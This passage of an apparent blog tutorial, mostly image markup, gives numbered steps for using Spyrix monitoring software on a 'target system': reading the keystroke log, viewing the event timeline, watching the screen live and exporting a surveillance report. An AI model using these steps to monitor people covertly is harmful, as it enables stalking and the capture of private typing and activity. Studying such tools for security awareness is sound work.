https://substackcdn.com/image/fetch/$s_!e0Sr!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbe11aec8-a55b-4e08-9f52-af08a320ff89_2560x1814.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!e0Sr!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbe11aec8-a55b-4e08-9f52-af08a320ff89_2560x1814.png" width="1456" height="1032" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/be11aec8-a55b-4e08-9f52-af08a320ff89_2560x1814.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1032,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:557584,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/181485193?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbe11aec8-a55b-4e08-9f52-af08a320ff89_2560x1814.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!e0Sr!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbe11aec8-a55b-4e08-9f52-af08a320ff89_2560x1814.png 424w, https://substackcdn.com/image/fetch/$s_!e0Sr!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbe11aec8-a55b-4e08-9f52-af08a320ff89_2560x1814.png 848w, https://substackcdn.com/image/fetch/$s_!e0Sr!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbe11aec8-a55b-4e08-9f52-af08a320ff89_2560x1814.png 1272w, https://substackcdn.com/image/fetch/$s_!e0Sr!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbe11aec8-a55b-4e08-9f52-af08a320ff89_2560x1814.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><ol start="37"><li><p>Click Keyboard Events to examine the keystroke log. This section displays every key pressed on the target system, organized by timestamp and application context. The keystroke data is one of the most valuable outputs of surveillance software because it captures information the user intended to keep private.</p></li></ol><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!PMVK!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe4a2e3a5-98fc-4290-8c0d-5c1810260828_2562x1826.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!PMVK!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe4a2e3a5-98fc-4290-8c0d-5c1810260828_2562x1826.png 424w, https://substackcdn.com/image/fetch/$s_!PMVK!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe4a2e3a5-98fc-4290-8c0d-5c1810260828_2562x1826.png 848w, https://substackcdn.com/image/fetch/$s_!PMVK!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe4a2e3a5-98fc-4290-8c0d-5c1810260828_2562x1826.png 1272w, https://substackcdn.com/image/fetch/$s_!PMVK!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe4a2e3a5-98fc-4290-8c0d-5c1810260828_2562x1826.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!PMVK!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe4a2e3a5-98fc-4290-8c0d-5c1810260828_2562x1826.png" width="1456" height="1038" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e4a2e3a5-98fc-4290-8c0d-5c1810260828_2562x1826.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1038,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:487955,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/181485193?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe4a2e3a5-98fc-4290-8c0d-5c1810260828_2562x1826.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!PMVK!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe4a2e3a5-98fc-4290-8c0d-5c1810260828_2562x1826.png 424w, https://substackcdn.com/image/fetch/$s_!PMVK!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe4a2e3a5-98fc-4290-8c0d-5c1810260828_2562x1826.png 848w, https://substackcdn.com/image/fetch/$s_!PMVK!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe4a2e3a5-98fc-4290-8c0d-5c1810260828_2562x1826.png 1272w, https://substackcdn.com/image/fetch/$s_!PMVK!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe4a2e3a5-98fc-4290-8c0d-5c1810260828_2562x1826.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><ol start="38"><li><p>Click Events Log to access the comprehensive event timeline. Click All Events to display every recorded event in chronological order. This unified view combines screenshots, keystrokes, application usage, and web activity into a single timeline that reconstructs the user&#8217;s complete session.</p></li></ol><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!sxTn!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f35ee23-3296-4c4d-80b3-e8178b1185b5_2560x1820.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!sxTn!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f35ee23-3296-4c4d-80b3-e8178b1185b5_2560x1820.png 424w, https://substackcdn.com/image/fetch/$s_!sxTn!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f35ee23-3296-4c4d-80b3-e8178b1185b5_2560x1820.png 848w, https://substackcdn.com/image/fetch/$s_!sxTn!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f35ee23-3296-4c4d-80b3-e8178b1185b5_2560x1820.png 1272w, https://substackcdn.com/image/fetch/$s_!sxTn!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f35ee23-3296-4c4d-80b3-e8178b1185b5_2560x1820.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!sxTn!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f35ee23-3296-4c4d-80b3-e8178b1185b5_2560x1820.png" width="1456" height="1035" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3f35ee23-3296-4c4d-80b3-e8178b1185b5_2560x1820.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1035,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:596087,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/181485193?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f35ee23-3296-4c4d-80b3-e8178b1185b5_2560x1820.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!sxTn!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f35ee23-3296-4c4d-80b3-e8178b1185b5_2560x1820.png 424w, https://substackcdn.com/image/fetch/$s_!sxTn!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f35ee23-3296-4c4d-80b3-e8178b1185b5_2560x1820.png 848w, https://substackcdn.com/image/fetch/$s_!sxTn!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f35ee23-3296-4c4d-80b3-e8178b1185b5_2560x1820.png 1272w, https://substackcdn.com/image/fetch/$s_!sxTn!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f35ee23-3296-4c4d-80b3-e8178b1185b5_2560x1820.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><ol start="39"><li><p>Click Live Viewing to watch the target system&#8217;s screen in real time. This feature streams the current display from the target machine to your browser, allowing you to observe activity as it happens.</p></li></ol><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Wptf!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c99ca09-84b7-45cc-9aeb-a4cf0538d6de_2560x1814.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Wptf!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c99ca09-84b7-45cc-9aeb-a4cf0538d6de_2560x1814.png 424w, https://substackcdn.com/image/fetch/$s_!Wptf!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c99ca09-84b7-45cc-9aeb-a4cf0538d6de_2560x1814.png 848w, https://substackcdn.com/image/fetch/$s_!Wptf!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c99ca09-84b7-45cc-9aeb-a4cf0538d6de_2560x1814.png 1272w, https://substackcdn.com/image/fetch/$s_!Wptf!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c99ca09-84b7-45cc-9aeb-a4cf0538d6de_2560x1814.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Wptf!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c99ca09-84b7-45cc-9aeb-a4cf0538d6de_2560x1814.png" width="1456" height="1032" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3c99ca09-84b7-45cc-9aeb-a4cf0538d6de_2560x1814.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1032,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:669795,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/181485193?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c99ca09-84b7-45cc-9aeb-a4cf0538d6de_2560x1814.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Wptf!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c99ca09-84b7-45cc-9aeb-a4cf0538d6de_2560x1814.png 424w, https://substackcdn.com/image/fetch/$s_!Wptf!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c99ca09-84b7-45cc-9aeb-a4cf0538d6de_2560x1814.png 848w, https://substackcdn.com/image/fetch/$s_!Wptf!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c99ca09-84b7-45cc-9aeb-a4cf0538d6de_2560x1814.png 1272w, https://substackcdn.com/image/fetch/$s_!Wptf!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c99ca09-84b7-45cc-9aeb-a4cf0538d6de_2560x1814.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><h3><strong>Part 7: Generating a Monitoring Report</strong></h3><p>Spyrix can compile captured data into formatted reports for documentation, analysis, or evidence purposes. This section demonstrates the report generation feature.</p><ol start="40"><li><p>In the Spyrix dashboard, click the Reports section in the navigation menu. Then click the + Request New Report button to create a new report.</p></li><li><p>The Request New Report dialog appears. Click the text box under Select Period to choose the date range for the report. For this demonstration, keep the default date settings which should include today&#8217;s activity. Click Request Smart Report to begin generating the report.</p></li><li><p>Report generation takes a few moments depending on the amount of captured data. Wait several seconds, then click the reload button next to + Request New Report to refresh the report status.</p></li><li><p>The report list displays the status of your requested report. Initially the status shows Running while the report compiles. Continue refreshing until the status changes to Ready. Once ready, click Download to save the report file.</p></li></ol><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!QrUd!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5fde1c92-1198-4a75-ae81-15fb3bcfeb20_2560x1822.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!QrUd!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5fde1c92-1198-4a75-ae81-15fb3bcfeb20_2560x1822.png 424w, https://substackcdn.com/image/fetch/$s_!QrUd!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5fde1c92-1198-4a75-ae81-15fb3bcfeb20_2560x1822.png 848w, https://substackcdn.com/image/fetch/$s_!QrUd!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5fde1c92-1198-4a75-ae81-15fb3bcfeb20_2560x1822.png 1272w, https://substackcdn.com/image/fetch/$s_!QrUd!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5fde1c92-1198-4a75-ae81-15fb3bcfeb20_2560x1822.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!QrUd!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5fde1c92-1198-4a75-ae81-15fb3bcfeb20_2560x1822.png" width="1456" height="1036" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5fde1c92-1198-4a75-ae81-15fb3bcfeb20_2560x1822.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1036,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:395558,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/181485193?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5fde1c92-1198-4a75-ae81-15fb3bcfeb20_2560x1822.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!QrUd!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5fde1c92-1198-4a75-ae81-15fb3bcfeb20_2560x1822.png 424w, https://substackcdn.com/image/fetch/$s_!QrUd!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5fde1c92-1198-4a75-ae81-15fb3bcfeb20_2560x1822.png 848w, https://substackcdn.com/image/fetch/$s_!QrUd!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5fde1c92-1198-4a75-ae81-15fb3bcfeb20_2560x1822.png 1272w, https://substackcdn.com/image/fetch/$s_!QrUd!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5fde1c92-1198-4a75-ae81-15fb3bcfeb20_2560x1822.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><ol start="44"><li><p>The downloaded file is a ZIP archive. Extract the contents using Windows Explorer or your preferred archive utility. Navigate into the extracted report folder and double-click report.html to open the report in your web browser.</p></li><li><p>The Spyrix Smart Report presents a comprehensive document containing all captured surveillance data organized into sections. <br><br>The report includes screenshots arranged chronologically, program activity showing applications used, keyboard activity displaying typed content, and URLs listing all websites visited. This report format is useful for documenting findings, conducting analysis offline, or presenting evidence.</p></li></ol><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!q4pN!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd3654b27-5809-4c9d-9697-7042e60367c0_2558x1822.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!q4pN!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd3654b27-5809-4c9d-9697-7042e60367c0_2558x1822.png 424w, https://substackcdn.com/image/fetch/$s_!q4pN!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd3654b27-5809-4c9d-9697-7042e60367c0_2558x1822.png 848w, https://substackcdn.com/image/fetch/$s_!q4pN!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd3654b27-5809-4c9d-9697-7042e60367c0_2558x1822.png 1272w, https://substackcdn.com/image/fetch/$s_!q4pN!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd3654b27-5809-4c9d-9697-7042e60367c0_2558x1822.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!q4pN!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd3654b27-5809-4c9d-9697-7042e60367c0_2558x1822.png" width="1456" height="1037" 